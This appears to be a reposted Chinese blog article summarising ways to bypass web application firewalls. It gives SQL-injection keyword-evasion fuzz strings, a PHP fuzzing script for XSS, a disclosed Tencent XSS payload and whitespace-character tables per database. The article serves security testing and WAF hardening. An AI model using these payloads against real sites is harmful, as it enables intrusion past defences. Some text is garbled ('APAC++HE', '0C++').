php waf能防止暴力登录么,WAF绕过的一些总结和思考，WAF怎么防绕过。

WAF绕过的一些总结和思考，WAF怎么防绕过。

发布时间：2020-07-25 10:28:21

来源：51CTO

阅读：424

作者：w2sft

WAF分类：

1.网络层类

2.最常见且容易部署的应用层类 (部署在APAC++HE之前，APAC++HE之后)

应用层WAF – 利用WAF自身缺陷和MYSQL语法特性并结合实际绕过：

WAF最常见检测方式：关键词检测 例如 如果出现 [空格]union[空格] 这样的SQL语句则视为恶意请求，丢弃这个数据包，XSS代码同理。

常见的绕过类型：

类型1：

数据包 -> WAF(利用string存储请求参数，解码后检测)-> APAC++HE

C++语言等利用string等储存结构存储请求，在解码时，%00会成为 NULL 从而截断接下去的请求内容

因此例如 ?id=1%00%20and%201=1 就成为了 ?id=1 从而绕过WAF检测

类型2：

数据包 -> WAF ->APAC++HE

绕过逻辑：

WAF对某些User-Agent特殊放行(如百度spider 的UA)

WAF对某些POST包特殊放行(文件上传包)

类型3：

数据包 -> WAF ->APAC++HE

利用mysql的语法特性和html代码的特殊书写方式、浏览器的渲染方式绕过。由于实际***测试过程中对WAF的实际检测逻辑并不清楚，所以利用fuzz是最好的方法，这也是WAF最常见的绕过方法。

FUZZ字典：

%a0union%a0 (WAF中正则表达式 \s 并不能匹配 %a0 但MYSQL视之为 空格)

%0aunion%0a

%0bunion%0b (WAF中正则表达式 \s \t 并不能识别匹配 %0b)

%09union%09

/**/union/**/

%0dunion%0d

/*%e4*/union/*%e4*/(UTF8中的半个中文 正则表达式中任意匹配符(.)不能匹配该内容)

`version`() (MYSQL语法特性 函数可以书写成 `函数名`())

/*!union*/

8E0union (MYSQL语法特性，检测为浮点数后语境结束，视为空格，下2同)

8.0union

\Nunion

.1union/*.1*/

...

XSS类的一个fuzz实例：

《Fuzz 来检测 onerror 前可以无缝连接怎样的字符》

编写fuzzz.php 和 fuzz.php 代码如下

Fuzzz.php:

$urlhex=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'];

$i=0;

$ii=0;

for ($i=0; $i < 16 ; $i++) {

for ($ii=0; $ii < 16; $ii++) {

$hex = $urlhex[$i] . $urlhex[$ii];

$realhex = '%' .$urlhex[$i] . $urlhex[$ii];

echo "";

}

}

?>

Fuzz.php:

$code = $_GET['c'];

$cc = $_GET['d'];

?>

οnerrοr="alert('<?php echo $cc?>')">

运行Fuzzz.php 进行自动fuzz,结果为:

0c,0d,2f,0a,20,09

1506031300c24c8e0557b05eb0.jpg

同理可以fuzz出各种标签的其他位置可以插入的特殊字符。

附SQL语句空白符FUZZ结果：

SQLite3:0A,0D,0C++,09,20

MySQL5:09,0A,0B,0C++,0D,A0,20

PosgresSQL:0A,0D,0C++,09,20

Oracle_11g:00,0A,0D,0C++,09,20

MSSQL:01,02,03,04,05,06,07,08,09,0A,0B,0C++,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C++,1D,1E,1F,20

类型4：

数据包 -> WAF ->APAC++HE

这是WAF无法考虑到的…

多次恶意代码检测和处理 留下的隐患：

例子(已修复)：

漏洞名称：crm2.qq.com XSS

提交时间：2015-03-30 13:39:31

“这个时候就遇到了你们的迷之waf，

最后构造的XSS为：

http://crm2.qq.com/page/portalpage/wpa.php?uin=40012345&f=5&ty=6666&ap=%23&debug=1&bt=\x3csc%0aript\x3eale%0art()

这里有一个tencent waf ，对XSS代码也有一定的防御检测，在get请求中出现

但由于参数在经过waf检测后，通过php的 $_GET[] 函数取得，并继续进行关键词过滤，经过笔者的一番fuzz，发现它会匹配换行符 %0a 并丢弃后输出，因此在这个逻辑下：

aler%0at()

经过waf 时，通过了检测(并没有关键词)，然后经过php的字符串处理后，依然输出了恶意代码。

类型5：

数据包 -> WAF ->APAC++HE

畸形HTTP包，

利用Apache对HTTP包的兼容性和WAF对畸形HTTP包的不兼容性绕过WAF

总结：

对于普遍的应用层WAF，fuzz是测试waf的较好的方法，利用MYSQL的一些语法特性和浏览器的一些渲染方式，构造出一份强大的fuzz字典，或许就可以绕过waf的关键词检测。

同时，WAF和php代码的连接灵活性也是很值得考虑的，例如类型4，多次对传入数据进行处理反而容易留下隐患。

WAF想要防绕过，需有针对的过滤这些字符组合。